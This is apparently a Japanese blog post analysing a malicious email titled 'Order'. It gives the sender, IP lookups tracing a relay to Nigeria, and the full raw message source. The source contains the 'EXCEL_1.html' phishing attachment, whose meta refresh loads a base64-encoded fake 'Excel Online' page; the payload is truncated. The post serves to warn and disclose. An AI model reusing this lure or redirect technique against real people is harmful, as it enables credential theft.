Orderの件名メールは、ウィルスメールです。

踏まれてますね。
結局のところ、開かなければ実害は無いのですが、outlock等のメールソフトは勝手に開きますので使わない方がいいでしょう。
メールソフトでビュアーが中身を見せる機能があるからoutlockはやめて欲しいですね。

差出人
postmaster@iplaytowin.de
件名
Order
宛先
postmaster@iplaytowin.de

件名

Dear Sir, Please check the order attached below. We can place order asap. The column we marked in blue ink, is not inclusive. Kindly send to us your payment terms.
Thanks
Iplaytowin Ltd

EXCEL_1.html

中継

iplaytowin.de
host3.beine-computer.de
が同一ホスト
IP Address     77.220.240.119
Host Name     host3.beine-computer.de
Country    Germany
Network(ASN)    RIPE-CIDR-BLOCK
IP Prefix    77.0.0.0 – 77.255.255.255
Description    Not allocated by APNIC

IPv4 address:
IPv4 expanded:
154.066.048.201
IPv4 decimal:
2588029129
Internet service provider:
Smile Communications Nigeria
Organization:
Smile-Nigeria-AS
Country name:
Nigeria
Country ISO alpha-2 code:
NG
State:
Lagos
City:
Lagos
Timezone:
Africa/Lagos
Longitude:
3.3958
Latitude:
6.4531
WHOIS data:
whois data is currently unavailable [GL87-85]. Try again in 23 hours, 37 min.
Reverse DNS in-addr.arpa:
;; connection timed out; trying next origin
Host 201.48.66.154.in-addr.arpa not found: 2(SERVFAIL)
Reverse DNS last updated:
0 seconds ago on February 8, 2016, 12:22 am GMT Time
Reverse DNS next update:
in 7 days on February 8, 2016, 12:22 am GMT Time
Bot/spider
No
Record requests
changeOnIncrement
Record views
changeOnIncrement
This IP pageloads:
changeOnIncrement

ソース
From – Mon Feb 08 08 2016
X-Account-Key: account2
X-UIDL: 00012bba46de9b9e
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:
Return-Path: <postmaster@iplaytowin.de>
X-Original-To: @
Delivered-To: @
Received: from host3.beine-computer.de (host3.beine-computer.de [77.220.240.119])
by mail. (Postfix) with SMTP id 55EDB34C8D23
for <@>; Mon,  8 Feb 2016 07 +0900 (JST)
Received: (qmail 89808 invoked by uid 0); 7 Feb 2016 22:45:04 -0000
Received: from unknown (HELO user.localdomain) (postmaster@iplaytowin.de@154.66.48.201)
by host3.beine-computer.de with SMTP; 7 Feb 2016 22:45:04 -0000
Content-Type: multipart/mixed; boundary=”===============2001858293==”
MIME-Version: 1.0
Subject: Order
To: Recipients <postmaster@iplaytowin.de>
From: postmaster@iplaytowin.de
Date: Sun, 07 Feb 2016 23:44:36 +0100
Message-Id: <20160207225503.55EDB34C8D23@mail.>

You will not see this in a MIME-aware mail reader.
–===============2001858293==
Content-Type: multipart/alternative; boundary=”===============0815320600==”
MIME-Version: 1.0

–===============0815320600==
Content-Type: text/plain; charset=”iso-8859-1″
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Description: Mail message body

Dear Sir, Please check the order attached below. We can place order asap. T=
he column we marked in blue ink, is not inclusive. Kindly send to us your p=
ayment terms. =

Thanks =

Iplaytowin Ltd

–===============0815320600==
Content-Type: text/html; charset=”iso-8859-1″
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Description: Mail message body

<HTML><head><meta http-equiv=3D”Content-Type” content=3D”text/html; charset=
=3Diso-8859-1″/></head><BODY><P>Dear Sir, Please check the order attached b=
elow. We can place order asap. The column we marked in blue ink, is not inc=
lusive. Kindly send to us your payment terms. </P>
<P>Thanks </P>
<P>Iplaytowin Ltd</P></BODY></HTML>
–===============0815320600==–
–===============2001858293==
MIME-Version: 1.0
Content-Type: text/html; charset=”iso-8859-1″
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment; filename=”EXCEL_1.html”

<html>
<head>
<meta http-equiv=3D”refresh” content=3D”0; =

url=3D data:text/html;charset=3Dutf-8;base64,PCFET0NUWVBFIGh0bWwgUFVCTElDIC=
ItLy9XM0MvL0RURCBYSFRNTCAxLjAgU3RyaWN0Ly9FTiIgImh0dHA6Ly93d3cudzMub3JnL1RSL=
3hodG1sMS9EVEQveGh0bWwxLXN0cmljdC5kdGQiPgo8aHRtbCBkaXI9Imx0ciIgeG1sbnM9Imh0=
dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIGhvbGFfZXh0X2luamVjdD0iZGlzYWJsZWQiPjx=
oZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbD=
sgY2hhcnNldD1VVEYtOCI+CjxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29ud=
GVudD0iSUU9ZWRnZSI+PG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmlj=
ZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xIj48bGluayBpZD0ibV9zaG9ydGN1dEljb24iIHJlbD0=
ic2hvcnRjdXQgaWNvbiIgdHlwZT0iaW1hZ2Uvdm5kLm1pY3Jvc29mdC5pY29uIiBocmVmPSJodH=
RwOi8vd3d3LmZhdmljb25zaHV0LmNvbS9waWNzLzUvNTQ5OS1taWNyb3NvZnQtZXhjZWwtaWNvb=
i1mYXZpY29uLnBuZyI+CgkJCgkJCgk8dGl0bGU+CglFeGNlbCBPbmxpbmUgLSBGaT1TREQyQTk0=
NUY4NzlBN0ZEMUUhMTEzJmFtcDtDPTVfODEwX0JOMS1TS1ktV0FDLVdTSEkmYW1wO2FrPW0lM0R=
lbiUyRHVzJmFtcDtzYz1ob3N0JTNECjwvdGl0bGU+CjxsaW5rIHJlbD0ic3R5bGVzaGVldCIgdH=
lwZT0

 

 

 

 

コメントを残す

メールアドレスが公開されることはありません。 * が付いている欄は必須項目です